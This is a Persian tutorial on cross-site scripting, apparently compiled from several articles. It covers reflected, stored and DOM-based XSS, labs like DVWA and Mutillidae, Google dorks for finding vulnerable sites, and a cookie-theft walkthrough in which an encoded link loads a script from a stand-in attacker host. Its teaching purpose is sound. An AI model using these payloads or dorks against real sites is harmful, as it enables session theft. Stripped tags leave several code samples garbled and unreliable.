• 1. XSS چیست
• 2.انواع XSS
• 3. ویژگی های XSS مبتنی بر DOM
• حسابرس 4.XSS
• 5. نمونه هایی از بهره برداری XSS
• 6. سایت های آسیب پذیر به XSS را جستجو کنید
• 7.برنامه هایی برای جستجو و اسکن آسیب پذیری های XSS

اسکریپت بین سایتی (XSS) آسیب پذیری است که شامل تزریق کد سمت کلاینت (جاوا اسکریپت) به صفحه وب است که سایر کاربران در حال مشاهده آن هستند.

این آسیب‌پذیری به دلیل فیلتر ناکافی داده‌هایی است که کاربر برای درج در صفحه وب ارسال می‌کند. خیلی راحت تر میشه فهمید مثال ملموس. هر کتاب مهمان را به خاطر بسپارید - اینها برنامه هایی هستند که برای پذیرش داده ها از کاربر و سپس نمایش آنها طراحی شده اند. بیایید تصور کنیم که کتاب مهمان به هیچ وجه داده های وارد شده را بررسی یا فیلتر نمی کند، بلکه آنها را به سادگی نمایش می دهد.

شما می توانید ساده ترین اسکریپت خود را ترسیم کنید (هیچ چیز ساده تر از نوشتن اسکریپت های بد در PHP نیست - بسیاری از افراد این کار را انجام می دهند). اما در حال حاضر گزینه های آماده زیادی وجود دارد. به عنوان مثال، من پیشنهاد می کنم با Dojo و OWASP Mutillidae II شروع کنید. نمونه مشابهی در آنجا وجود دارد. در یک محیط Dojo مستقل، در مرورگر خود به این پیوند بروید: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

اگر یکی از کاربران وارد کرد:

سلام! چطور هستید.

سپس صفحه وب نمایش داده می شود:

سلام! چطور هستید.

و اگر کاربر این را وارد کند:

سلام! چطور هستید. هشدار ("Pwned")

سپس به صورت زیر نمایش داده می شود:

مرورگرها چندین کوکی را برای تعداد زیادی سایت ذخیره می کنند. هر سایت فقط می تواند کوکی های ذخیره شده توسط خودش را دریافت کند. به عنوان مثال، example.com برخی از کوکی ها را در مرورگر شما ذخیره کرده است. اگر از other.com بازدید کنید، این سایت (اسکریپت های سرویس گیرنده و سرور) نمی تواند به کوکی هایی که example.com ذخیره کرده است دسترسی داشته باشد.

اگر example.com در برابر XSS آسیب پذیر باشد، به این معنی است که ما می توانیم به نوعی کد جاوا اسکریپت را به آن تزریق کنیم و آن کد از طرف example.com اجرا می شود! آن ها این کد به عنوان مثال به کوکی های example.com دسترسی خواهد داشت.

فکر می کنم همه به خاطر دارند که جاوا اسکریپت در مرورگرهای کاربر اجرا می شود، یعنی. در حضور XSS، کد مخرب جاسازی شده به داده های کاربری که صفحه وب سایت را باز کرده است، دسترسی پیدا می کند.

کد تعبیه شده می تواند هر کاری را که جاوا اسکریپت می تواند انجام دهد، یعنی:

• به کوکی های وب سایتی که مشاهده می کنید دسترسی پیدا می کند
• ممکن است هر گونه تغییری در آن ایجاد کند ظاهرصفحات
• به کلیپ بورد دسترسی پیدا می کند
• می تواند برنامه های جاوا اسکریپت را پیاده سازی کند، به عنوان مثال، کی لاگرها (رهگیرهای ضربه زدن به کلید)
• BeEF را انتخاب کنید

ساده ترین مثال با کوکی ها:

هشدار (document.cookie)

در واقع هشدار فقط برای تشخیص XSS استفاده می شود. محموله مخرب واقعی اقدامات پنهانی را انجام می دهد. مخفیانه با سرور راه دور مهاجم تماس می گیرد و داده های دزدیده شده را به آن منتقل می کند.

مهمترین چیزی که باید در مورد انواع XSS بدانید این است که آنها عبارتند از:

• ذخیره شده (دائمی)
• منعکس شده (تزلزل)

مثالی از ثابت ها:

• هر بار که کاربران درخواست نمایش این صفحه را دارند، یک پیام ساخته شده ویژه که توسط مهاجم وارد کتاب مهمان (نظر، پیام انجمن، نمایه) می شود، که در سرور ذخیره می شود، از سرور دانلود می شود.
• مهاجم به داده های سرور، به عنوان مثال، از طریق تزریق SQL دسترسی پیدا کرد و کد مخرب جاوا اسکریپت (با کیلوگرها یا BeEF) را به داده های داده شده به کاربر وارد کرد.

نمونه هایی از غیر دائمی:

• جستجویی در سایت وجود دارد که همراه با نتایج جستجو، چیزی شبیه «شما جستجو کردید: [رشته جستجو]» را نشان می‌دهد و داده‌ها به درستی فیلتر نمی‌شوند. از آنجایی که چنین صفحه ای فقط برای شخصی که به آن لینک دارد نمایش داده می شود، تا زمانی که مهاجم لینک را برای سایر کاربران سایت ارسال نکند، حمله کار نخواهد کرد. به جای ارسال لینک به قربانی، می توانید از قرار دادن یک اسکریپت مخرب در سایت بی طرفی که قربانی بازدید می کند استفاده کنید.

آنها همچنین متمایز می کنند (برخی به عنوان یک نوع آسیب پذیری XSS غیر پایدار، برخی می گویند که این نوع همچنین می تواند یک نوع XSS پایدار باشد):

• مدل های DOM

به بیان خیلی ساده، اگر کد HTML را باز کنیم، می‌توانیم کد مخرب XSS غیر دائمی «عادی» را ببینیم. به عنوان مثال، لینک به شکل زیر است:

Http://example.com/search.php?q="/>alert(1)

و وقتی کد منبع HTML را باز می کنیم، چیزی شبیه به این را می بینیم:

< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >هشدار(1)" />< button type = "submit" class = "ui-button" >پیدا کردن

و DOM XSS ساختار DOM را تغییر می دهد، که در مرورگر در حال پرواز شکل می گیرد و ما فقط می توانیم کدهای مخرب را هنگام مشاهده ساختار DOM تولید شده مشاهده کنیم. HTML تغییر نمی کند. بیایید این کد را به عنوان مثال در نظر بگیریم:

< html > < head > < title >وب سایت:::DOM XSS< meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" >خطایی رخ داد...< script >تابع OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) تابع get_fragment() (var r4c = "(.*?)"؛ var results = location.hash.match(".*input=token(" + r4c + ");") if (نتایج) (document.getElementById("default").innerHTML = ""؛ return (unescape(نتایج))؛ ) else ( return null; ) ) display_session = OnLoad(); document.write("شناسه جلسه شما این بود: " + display_session + "< br >< br >")

سپس در مرورگر خواهیم دید:

کد منبع صفحه:

بیایید آدرس را به صورت زیر تشکیل دهیم:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

حالا صفحه به شکل زیر است:

اما بیایید بررسی کنیم منبع HTML:

اصلاً هیچ چیز آنجا تغییر نکرده است. این همان چیزی است که من در مورد آن صحبت کردم، برای شناسایی کدهای مخرب باید به ساختار DOM سند نگاه کنیم:

در اینجا یک نمونه اولیه XSS در حال کار است، برای یک حمله واقعی ما به یک بار پیچیده‌تر نیاز داریم، که به دلیل این واقعیت که برنامه بلافاصله بعد از نقطه ویرگول خواندن را متوقف می‌کند، امکان‌پذیر نیست و چیزی مانند alert(1);alert(2) هیچ نیست. امکان پذیرتر با این حال، به لطف unescape() می توانیم از یک payload مانند این در داده های بازگشتی استفاده کنیم:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

جایی که نماد را جایگزین کردیم. به معادل کدگذاری شده با URI!

اکنون می‌توانیم یک بار مخرب جاوا اسکریپت بنویسیم و پیوندی برای ارسال به قربانی بنویسیم، همانطور که برای اسکریپت‌نویسی متقابل غیر دائمی استاندارد انجام می‌شود.

که در گوگل کروم(و همچنین در Opera، که اکنون از موتور Google Chrome استفاده می کند)، این شگفتی در انتظار من بود:

dom_xss.html:30 حسابرس XSS از اجرای یک اسکریپت در 'http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);' خودداری کرد زیرا کد منبع آن در درخواست یافت شد. . حسابرس فعال شد زیرا سرور نه "X-XSS-Protection" و نه "Content-Security-Policy" را ارسال کرد.

آن ها مرورگر اکنون یک حسابرس XSS دارد که سعی می کند از XSS جلوگیری کند. فایرفاکس هنوز این قابلیت را ندارد، اما فکر می‌کنم موضوع زمان است. اگر پیاده سازی در مرورگرها موفقیت آمیز باشد، می توانیم در مورد یک مشکل قابل توجه در استفاده از XSS صحبت کنیم.

خوب است به یاد داشته باشید که مرورگرهای مدرن اقداماتی را برای محدود کردن سطح مشکلات بهره برداری مانند XSS غیر مداوم و XSS مبتنی بر DOM انجام می دهند. این نکته ای است که باید هنگام آزمایش وب سایت ها با استفاده از مرورگر به خاطر بسپارید - ممکن است مشخص شود که برنامه وب آسیب پذیر است، اما تأیید پاپ آپ را فقط به این دلیل نمی بینید که مرورگر آن را مسدود کرده است.

مهاجمانی که قصد سوء استفاده از آسیب‌پذیری‌های اسکریپت بین سایتی را دارند، باید به هر کلاس آسیب‌پذیری متفاوت برخورد کنند. بردارهای حمله برای هر کلاس در اینجا توضیح داده شده است.

برای آسیب‌پذیری‌های XSS، حملات می‌توانند از BeEF استفاده کنند که حمله را از وب‌سایت به محیط محلی کاربران گسترش می‌دهد.

مثالی از یک حمله XSS غیر مداوم

1. آلیس به طور مکرر از وب سایت خاصی که توسط باب میزبانی می شود بازدید می کند. وب سایت باب به آلیس اجازه می دهد تا با نام کاربری/رمز عبور وارد سیستم شود و داده های حساس مانند اطلاعات پرداخت را ذخیره کند. هنگامی که یک کاربر وارد سیستم می شود، مرورگر کوکی های مجوز را ذخیره می کند که شبیه کاراکترهای بی معنی هستند، به عنوان مثال. هر دو کامپیوتر (مشتری و سرور) به یاد دارند که او وارد شده است.

2. مالوری خاطرنشان می کند که وب سایت باب دارای یک آسیب پذیری غیر دائمی XSS است:

2.1 هنگامی که از صفحه جستجو بازدید می کنید، رشته جستجو را وارد کرده و بر روی دکمه ارسال کلیک کنید، اگر نتیجه ای یافت نشد، صفحه رشته جستجوی وارد شده را نمایش می دهد و سپس عبارت "نیست یافت نشد" و URL شبیه http://bobssite است. .org?q= او پرس و جو جستجو

2.2 با یک عبارت جستجوی معمولی مانند کلمه "سگ"، صفحه به سادگی "هیچ سگی یافت نشد" و نشانی اینترنتی http://bobssite.org?q=dogs را نمایش می دهد که رفتاری کاملا عادی است.

2.3 با این حال، هنگامی که یک عبارت جستجوی غیرعادی مانند alert('xss'); :

2.3.1 یک پیام هشدار (که می گوید "xss") ظاهر می شود.

2.3.2 صفحه هشدار ('xss') را نمایش می دهد. همراه با یک پیام خطا با متن "xss" یافت نشد.

2.3.3 آدرس اینترنتی مناسب برای بهره برداری http://bobssite.org?q=alert('xss');

3. Mallory یک URL برای سوء استفاده از آسیب‌پذیری ایجاد می‌کند:

3.1 او URL http://bobssite.org?q=puppies را می سازد. او ممکن است به ترتیب کاراکترهای ASCII را به فرمت هگزادسیمال مانند http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E تبدیل کند. برای جلوگیری از رمزگشایی فوری یک URL مخرب توسط افراد.

3.2 او به برخی از اعضای ناآگاه سایت باب ایمیل می‌زند و می‌گوید: «سگ‌های باحال را بررسی کنید».

4. آلیس نامه ای دریافت می کند. او عاشق سگ است و روی لینک کلیک می کند. او در جستجو به سایت باب می رود، چیزی پیدا نمی کند، "no dog found" در آنجا نمایش داده می شود، و در وسط یک برچسب با یک اسکریپت راه اندازی می شود (روی صفحه نامرئی است)، دانلود و اجرای Malory's برنامه authstealer.js (راه اندازی یک حمله XSS). آلیس آن را فراموش می کند.

5. برنامه authstealer.js در مرورگر Alice اجرا می شود که گویی از وب سایت باب سرچشمه گرفته است. او یک کپی از کوکی های مجوز آلیس را می گیرد و آنها را به سرور مالوری می فرستد، جایی که مالوری آنها را بازیابی می کند.

7. حالا که مالوری داخل است، به بخش پرداخت وب سایت می رود، نگاه می کند و یک کپی از شماره را می دزدد. کارت اعتباریآلیس. سپس او می رود و رمز عبور را تغییر می دهد، یعنی. حالا آلیس حتی دیگر نمی تواند وارد شود.

8. او تصمیم می گیرد قدم بعدی را بردارد و لینک ساخته شده به این شکل را برای خود باب می فرستد و به این ترتیب دریافت می کند. امتیازات اداریسایت باب.

حمله مداوم XSS

Dorks برای XSS

اولین قدم این است که سایت هایی را انتخاب کنیم که در آنها حملات XSS را انجام خواهیم داد. سایت ها را می توان با استفاده از Google dorks جستجو کرد. در اینجا چند مورد از این dorks وجود دارد که می توانید آنها را کپی و در جستجوی Google جایگذاری کنید:

• inurl:search.php?q=
• inurl:.php?q=
• inurl:search.php
• inurl:.php?search=

لیستی از سایت ها در مقابل ما باز می شود. شما باید سایت را باز کنید و فیلدهای ورودی مانند فرم بازخورد، فرم ورودی، جستجوی سایت و غیره را در آن پیدا کنید.

اجازه دهید فوراً متذکر شوم که جستجوی آسیب‌پذیری‌ها در برنامه‌های وب به‌روزرسانی خودکار محبوب تقریباً بی‌فایده است. یک نمونه کلاسیک از چنین برنامه هایی وردپرس است. در واقع آسیب پذیری هایی در وردپرس و به خصوص افزونه های آن وجود دارد. علاوه بر این، بسیاری از سایت‌ها وجود دارند که نه موتور وردپرس را (به دلیل اینکه مدیر وب‌سایت تغییراتی در کد منبع ایجاد کرده است) و نه افزونه‌ها و مضامین خود را به‌روزرسانی نمی‌کنند (به عنوان یک قاعده، اینها افزونه‌ها و تم‌های غیرقانونی هستند). اما اگر این بخش را بخوانید و چیز جدیدی از آن یاد بگیرید، پس وردپرس هنوز برای شما مناسب نیست... حتما بعداً به آن باز خواهیم گشت.

بهترین اهداف، انواع موتورها و اسکریپت های خودنویس هستند.

می توانید محموله درج را به عنوان انتخاب کنید

هشدار (1)

توجه داشته باشید که کد تعبیه شده شما در کدام تگ های کد HTML قرار می گیرد. در اینجا نمونه ای از یک فیلد ورودی معمولی است

< input type = "text" class = "ui-input query" name = "q" value = "روبالشی" />< script >هشدار (1)< input value = "" />

محموله ما به جایی می رسد که اکنون کلمه "روبالشی" وجود دارد. آن ها به مقدار تگ ورودی تبدیل شود. ما می توانیم با بستن نقل قول دوگانه و سپس خود تگ با "/> از این امر جلوگیری کنیم

"/>هشدار(1)

احتمالاً همه اسکنرهای برنامه های وب دارای یک اسکنر آسیب پذیری داخلی XSS هستند. این مبحث جامع نیست، بهتر است با هر اسکنر مشابه به طور جداگانه آشنا شوید.

همچنین ابزارهای تخصصی برای اسکن آسیب پذیری های XSS وجود دارد. از جمله آنها می توانیم به ویژه برجسته کنیم:

• XSSer تنها نیست اسکنر قدرتمندکه می داند چگونه از آن استفاده کند روش های مختلفبا پیاده سازی و دور زدن فیلتر، همچنین یک ابزار خودکار برای جستجوی سایت های آسیب پذیر به XSS (توسط dorks) است. برای سایت‌هایی با آسیب‌پذیری‌های پیدا شده، می‌تواند یک بار برای یک حمله واقعی تزریق کند.
• XssPy همچنین یک ابزار نسبتاً مستقل است که می تواند تمام صفحات یک سایت (از جمله صفحات زیر دامنه) را پیدا کند و تمام عناصر ورودی را در این صفحات بررسی کند.
• BruteXSS – یکی از ویژگی های مثبت این ابزار حذف کامل موارد مثبت کاذب است.

اکثر مجموعه‌های برنامه‌های وب آسیب‌پذیر (به جز برخی از موارد بسیار تخصصی) حاوی سایت‌هایی هستند که در برابر XSS آسیب‌پذیر هستند. بیشترین بهترین گزینهاستفاده از آنها در محیط یادگیری آفلاین Dojo است که برنامه های زیادی را برای آزمایش جمع آوری کرده است. برای مثال، می‌توانید مهارت‌های خود را در شناسایی و بهره‌برداری از XSS با روش‌های زیر آموزش دهید:

برنامه وب آسیب پذیر لعنتی (DVWA):

• http://localhost/dvwa/vulnerabilities/xss_r/ (XSS غیر مداوم)
• http://localhost/dvwa/vulnerabilities/xss_s/ (XSS ذخیره شده)

Mutillidae/NOWASP (تعداد زیادی از تغییرات XSS)

• http://localhost/mutillidae/

با استفاده از اسکریپت نویسی بین سایتی اسکریپت جاوا- محبوب ترین نوع حمله در این مطلب به شما در مورد مشکلاتی که ممکن است در اثر استفاده از اسکریپت جاوا ایجاد شود و نحوه محافظت از خود در برابر حملات XSS خواهیم گفت.

XSS نوعی حمله به کاربران منابع اینترنتی است که هدف آن سرقت اطلاعات احراز هویت مدیران سایت به منظور دسترسی به بخش مدیریتی و سایر کاربرانی است که این فرصت را دارند. دسترسی شخصیبه بخش های بسته منبع

این حملات نه تنها برای هک کردن یک سایت، بلکه برای سرقت نیز قابل انجام است:

• اعتبار برای دسترسی به منابع شخص ثالث؛
• شماره کارت های بانکی؛
• داده های دسترسی به کیف پول الکترونیکی؛
• جزئیات تماس؛
• سایر اطلاعات محرمانه کاربر

این نوع حمله دو جهت دارد:

فعال – نوعی حمله زمانی که یک مهاجم سعی می‌کند آسیب‌پذیری‌ها را در فیلتر منابع اینترنتی پیدا کند. از طریق ترکیب خاصیکاراکترها و برچسب ها، هکر درخواستی ایجاد می کند که منبع آن را درک کرده و دستور را اجرا می کند. پس از یافتن یک آسیب پذیری در سیستم امنیتی، کدهای مخرب در درخواست درج می شود که به عنوان مثال، تمام کوکی ها را به مکانی مناسب برای هکر ارسال می کند.

منفعل - شامل مداخله موضوع حمله است. ایده این است که کاربر را مجبور کنیم که یک پیوند مخرب را برای پیاده سازی دنبال کند کد مخرب. اجرای این حملات دشوار است، زیرا مستلزم داشتن دانش فنی عالی و دانش روانشناسی خوب از مهاجم است.

برای جلوگیری از قربانی شدن یک حمله XSS، باید قوانین امنیتی زیر را رعایت کنید:

طبق آمار، 84 درصد از منابع اینترنتی به خوبی در برابر حملات XSS محافظت می شوند. 16 درصد دیگر قادر به مقاومت موثر در برابر آنها نیستند. از بین بردن این نقص فاحش، صاحبان سایت را ملزم به سرمایه گذاری های اضافی در امنیت می کند، که اکثر آنها برای آن آماده نیستند. با این حال، تشدید قوانین مربوط به آسیب، نشت و افشای داده‌های شخصی، به طور فزاینده‌ای مالکان بی‌وجدان را مجبور می‌کند تا امنیت سایت‌های خود را بهبود بخشند.

اوری سگال

بیاموزید که چگونه هکرها از حملات اسکریپت بین سایتی استفاده می کنند، به چه چیزی آسیب می رسانند (و چه نمی کنند)، چگونه آنها را شناسایی کنند، و چگونه از وب سایت خود و بازدیدکنندگان آن در برابر این نقض حریم خصوصی و امنیتی مخرب محافظت کنید.

اسکریپت بین سایتی (یا به اختصار XSS) یکی از رایج ترین حملات در سطح برنامه است که هکرها از آن برای به خطر انداختن برنامه های کاربردی وب استفاده می کنند. XSS یک حمله به حریم خصوصی مشتریان یک وب سایت خاص است. هنگامی که داده های مشتری به سرقت رفته و در آینده برای اهدافی مورد استفاده قرار می گیرند، می تواند منجر به تخریب کامل سیستم امنیتی شود. اکثر حملات شامل دو طرف هستند: یا یک مهاجم و یک وب سایت، یا یک مهاجم و یک مشتری قربانی. با این حال، یک حمله XSS شامل سه طرف است: مهاجم، مشتری و وب سایت.

هدف از حمله XSS سرقت کوکی ها یا سایر کوکی ها از رایانه مشتری است. اطلاعات محرمانه، که می تواند مشتری را در یک وب سایت شناسایی کند. با داشتن اطلاعاتی برای شناسایی او به عنوان یک کاربر قانونی، مهاجم می تواند به عنوان یک کاربر در سایت عمل کند، یعنی. تظاهر به او بودن به عنوان مثال، در یک ممیزی که در یک شرکت بزرگ انجام شد، با استفاده از حمله XSS، اطلاعات خصوصی و شماره کارت اعتباری یک کاربر به دست آمد. این با دویدن به دست آمد کد ویژهدر جاوا اسکریپت این کد در مرورگر قربانی (مشتری) که دارای امتیازات دسترسی به وب سایت بود، اجرا شد. تعداد بسیار محدودی از امتیازات جاوا اسکریپت وجود دارد که به اسکریپت اجازه دسترسی به هیچ چیز دیگری جز اطلاعات مربوط به سایت را نمی دهد. مهم است که تأکید کنیم که اگرچه آسیب پذیری در وب سایت وجود دارد، خود وب سایت مستقیماً آسیب نمی بیند. اما این برای جمع آوری فیلمنامه کافی است بیسکویت هاو آنها را برای مهاجم فرستاد. در نتیجه مهاجم داده های لازم را دریافت می کند و می تواند از قربانی تقلید کند.

بیایید نام سایت مورد حمله را اینگونه بگذاریم: www.vulnerable.site. یک حمله سنتی XSS به یک اسکریپت آسیب پذیر متکی است که در یک وب سایت آسیب پذیر قرار دارد. این اسکریپت بخشی از یک درخواست HTTP (معمولاً پارامترها، اما گاهی اوقات سرصفحه ها یا مسیرهای HTTP) را می خواند و آن را برای صفحه پاسخ، تمام یا فقط بخشی، تکرار می کند. این درخواست را پاکسازی نمی کند (یعنی بررسی نمی کند که درخواست حاوی کد جاوا اسکریپت یا برچسب های HTML نباشد). فرض کنید این اسکریپت Welcome.cgi نام دارد و پارامتر آن نام است. می توان از آن به این صورت استفاده کرد:

چگونه می توان از این موضوع سوء استفاده کرد؟ مهاجم باید بتواند مشتری (قربانی) را برای کلیک روی پیوندی که مهاجم در اختیار آنها قرار می دهد، فریب دهد. این یک پیوند با دقت و مخرب ساخته شده است که باعث می شود مرورگر وب قربانی به یک وب سایت (www.vulnerable.site) دسترسی پیدا کند و یک اسکریپت آسیب پذیر را اجرا کند. داده های این اسکریپت حاوی کد جاوا اسکریپت است که به کوکی های ذخیره شده توسط مرورگر مشتری برای سایت www.vulnerable.site دسترسی پیدا می کند. این مجاز است زیرا مرورگر مشتری "فکر می کند" کد جاوا اسکریپت از www.vulnerable.site آمده است. و مدل امنیتی جاوا اسکریپت به اسکریپت هایی که از یک سایت خاص سرچشمه می گیرند اجازه می دهد تا به کوکی هایی که متعلق به آن سایت هستند دسترسی داشته باشند.

پاسخ سایت آسیب پذیر به شرح زیر خواهد بود:

مرورگر مشتری قربانی این درخواست را به عنوان یک صفحه HTML حاوی یک قطعه کد جاوا اسکریپت تفسیر می کند. این کد هنگام اجرا به تمام کوکی های متعلق به سایت www.vulnerable.site دسترسی خواهد داشت. در نتیجه، یک پنجره پاپ آپ در مرورگر ایجاد می کند که تمام کوکی های مشتری را که مربوط به www.vulnerable.site هستند نشان می دهد.

البته، یک حمله واقعی شامل ارسال این فایل ها به مهاجم است. برای انجام این کار، یک مهاجم می تواند یک وب سایت (www.attacker.site) ایجاد کند و از یک اسکریپت برای دریافت کوکی ها استفاده کند. مهاجم به جای فراخوانی یک پنجره پاپ آپ، کدی را می نویسد که به آدرس اینترنتی www.attacker.site دسترسی دارد. در این راستا اسکریپتی برای به دست آوردن کوکی ها اجرا می شود. پارامتر این اسکریپت کوکی های سرقت شده است. بنابراین، یک مهاجم می تواند کوکی ها را از سرور www.attacker.site دریافت کند.

بلافاصله پس از بارگیری این صفحه، مرورگر کد جاوا اسکریپت درج شده در آنجا را اجرا می کند و درخواست را به اسکریپت collect.cgi در www.attacker.site به همراه مقدار کوکی های www.vulnerable.site که مرورگر از قبل دارد ارسال می کند. این امنیت کوکی‌های www.vulnerable.site را که مشتری دارد، تضعیف می‌کند. این به مهاجم اجازه می دهد تا وانمود کند که قربانی است. محرمانه بودن مشتری کاملا نقض شده است.

توجه داشته باشید.
به طور معمول، فراخوانی یک پاپ آپ با استفاده از جاوا اسکریپت برای نشان دادن آسیب پذیری سایت در برابر حمله XSS کافی است. اگر می‌توانید تابع Alert را از جاوا اسکریپت فراخوانی کنید، معمولاً دلیلی وجود ندارد که تماس با شکست مواجه شود. به همین دلیل است که بیشتر نمونه‌های حملات XSS از تابع Alert استفاده می‌کنند که تعیین موفقیت حمله را بسیار آسان می‌کند.

حمله فقط می تواند در مرورگر قربانی رخ دهد، همان مرورگر مورد استفاده برای دسترسی به سایت (www.vulnerable.site). مهاجم باید مشتری را مجبور به دسترسی به پیوند مخرب کند. این را می توان از چند طریق به دست آورد.

• مهاجم ایمیلی حاوی یک صفحه HTML می فرستد که مرورگر را فریب می دهد تا پیوندی را باز کند. این مستلزم استفاده قربانی از مشتری است پست الکترونیک، قابلیت کار با HTML را دارد. و نمایشگر HTML روی کلاینت باید همان مرورگری باشد که برای دسترسی به www.vulnerable.site استفاده می شود.

• مشتری از سایتی بازدید می کند که احتمالاً توسط یک مهاجم ایجاد شده است، جایی که پیوند به یک تصویر یا سایر عناصر HTML قابل کلیک باعث می شود مرورگر پیوند را باز کند. باز هم، در این مورد، ضروری است که از یک مرورگر برای دسترسی به این سایت و سایت www.vulnerable.site استفاده شود.

کد جاوا اسکریپت مخرب می تواند به هر یک از اطلاعات زیر دسترسی داشته باشد:

• کوکی های دائمی (سایت www.vulnerable.site) که توسط مرورگر ذخیره می شوند.
• کوکی ها در حافظه دسترسی تصادفی(سایت www.vulnerable.site)، که توسط نمونه مرورگر فقط هنگام مشاهده سایت www.vulnerable.site پشتیبانی می شوند.
• نام پنجره های دیگر برای سایت www.vulnerable.site باز می شود.
• هر اطلاعاتی که از طریق جریان در دسترس است مدل DOM(از مقادیر، کد HTML و غیره).

داده های شناسایی، مجوز و احراز هویت معمولاً به شکل کوکی ذخیره می شوند. اگر این کوکی‌ها پایدار باشند، قربانی حتی زمانی که هنگام دسترسی به www.vulnerable.site از مرورگر استفاده نمی‌کند، در برابر حمله آسیب‌پذیر است. با این حال، اگر کوکی‌ها موقتی هستند (مثلاً در RAM ذخیره می‌شوند)، در سمت مشتری باید جلسه‌ای با سایت www.vulnerable.site وجود داشته باشد.

یکی دیگر از پیاده‌سازی‌های ممکن برای برچسب شناسایی، پارامتر URL است. در چنین مواردی، می‌توانید با استفاده از جاوا اسکریپت به پنجره‌های دیگر دسترسی داشته باشید (با فرض اینکه نام صفحه با پارامترهای URL مورد نظر فووبار باشد):

برای اجرای یک اسکریپت جاوا اسکریپت، می توانید از بسیاری از تگ های HTML غیر از . در واقع، همچنین می توان کدهای مخرب جاوا اسکریپت را روی سرور دیگری قرار داد و سپس کلاینت را فریب داد تا اسکریپت را دانلود کرده و آن را اجرا کند. اگر نیاز به اجرای مقدار زیادی کد دارید، یا اگر کد حاوی کاراکترهای خاصی باشد، این می تواند مفید باشد.

در اینجا برخی از تغییرات این احتمالات وجود دارد.

• به جای... هکرها می توانند از . این برای سایت هایی که تگ HTML را فیلتر می کنند مناسب است.

• به جای ... می توانید از ساخت و ساز استفاده کنید . این در شرایطی خوب است که کد جاوا اسکریپت خیلی طولانی است، یا اگر حاوی کاراکترهای غیرقانونی باشد.

گاهی اوقات داده های تعبیه شده در صفحه پاسخ در زمینه HTML پولی است. در این حالت، ابتدا باید به زمینه آزاد "فرار" کنید و سپس یک حمله XSS انجام دهید. به عنوان مثال، اگر داده ها به عنوان مقدار پیش فرض یک فیلد فرم HTML درج شود:

و کد HTML حاصل به صورت زیر خواهد بود:

همه ما می دانیم که اسکریپت بین سایتی چیست، درست است؟ این آسیب‌پذیری است که در آن یک مهاجم داده‌های مخرب (معمولاً HTML حاوی کد جاوا اسکریپت) را ارسال می‌کند که بعداً توسط برنامه بازگردانده می‌شود و باعث می‌شود کد جاوا اسکریپت اجرا شود. پس این درست نیست! نوعی از حمله XSS وجود دارد که حداقل در اصول اساسی اولیه آن با این تعریف مطابقت ندارد. حملات XSS، همانطور که در بالا تعریف شد، به دو دسته آنی (داده های مخرب در صفحه ای تعبیه شده است که بلافاصله پس از درخواست به مرورگر بازگردانده می شود) و تاخیری (داده های مخرب پس از مدتی بازگردانده می شوند) تقسیم می شوند. اما نوع سومی از حمله XSS وجود دارد که مبتنی بر ارسال داده های مخرب به سرور نیست. اگرچه به نظر می رسد خلاف واقع باشد، اما دو نمونه مستند از چنین حمله ای وجود دارد. این مقاله نوع سوم حملات XSS - XSS از طریق DOM (DOM Based XSS) را شرح می‌دهد. هیچ چیز اساسی در مورد حمله در اینجا نوشته نخواهد شد، بلکه نوآوری این مواد در برجسته کردن ویژگی های متمایز حمله است که بسیار مهم و جالب هستند.

توسعه دهندگان و کاربران برنامه باید اصول حملات XSS از طریق DOM را درک کنند، زیرا آنها تهدیدی برای برنامه های وب هستند و با XSS معمولی متفاوت هستند. برنامه های وب زیادی در اینترنت وجود دارند که در برابر XSS از طریق DOM آسیب پذیر هستند و در عین حال برای XSS آزمایش شده و در برابر این نوع حمله "غیر آسیب پذیر" هستند. توسعه دهندگان و مدیران سایت باید با تکنیک های شناسایی و محافظت در برابر XSS از طریق DOM آشنا شوند، زیرا این تکنیک ها با تکنیک های مورد استفاده برای مقابله با آسیب پذیری های استاندارد XSS متفاوت است.

خواننده باید با اصول اولیه حملات XSS (, , , , ) آشنا باشد. XSS معمولاً به اسکریپت نویسی بین سایتی () instant و lazy اشاره می کند. با XSS فوری، کد مخرب (جاوا اسکریپت) توسط سرور مورد حمله بلافاصله به عنوان پاسخ به درخواست HTTP بازگردانده می شود. XSS معوق به این معنی است که کد مخرب در سیستم مورد حمله ذخیره می شود و می تواند بعداً به آن تزریق شود صفحه HTMLسیستم آسیب پذیر همانطور که در بالا ذکر شد، این طبقه بندی فرض می کند که ویژگی اساسی XSS این است که کدهای مخرب از یک مرورگر به یک سرور ارسال می شود و به همان مرورگر (فلش XSS) یا هر مرورگر دیگری (XSS تاخیری) بازگردانده می شود. این مقاله این موضوع را مطرح می کند که این یک طبقه بندی اشتباه است. توانایی انجام یک حمله XSS که متکی به تزریق کد به صفحه بازگردانده شده توسط سرور نیست، تأثیر زیادی بر روی امنیت و تکنیک‌های تشخیص خواهد داشت. اصول چنین حملاتی در این مقاله مورد بحث قرار گرفته است.

قبل از توصیف ساده‌ترین سناریوی حمله، مهم است که تأکید کنیم روش‌های توصیف‌شده در اینجا قبلاً چندین بار به صورت عمومی نشان داده شده‌اند (به عنوان مثال، و ). من ادعا نمی کنم که روش های زیر برای اولین بار توضیح داده شده است (اگرچه برخی از آنها با مطالب منتشر شده قبلی متفاوت هستند).

نشانه یک سایت آسیب پذیر ممکن است وجود یک صفحه HTML باشد که از داده های document.location، document.URL یا document.referrer (یا هر شی دیگری که می تواند تحت تأثیر یک مهاجم قرار گیرد) به روشی ناامن استفاده می کند.

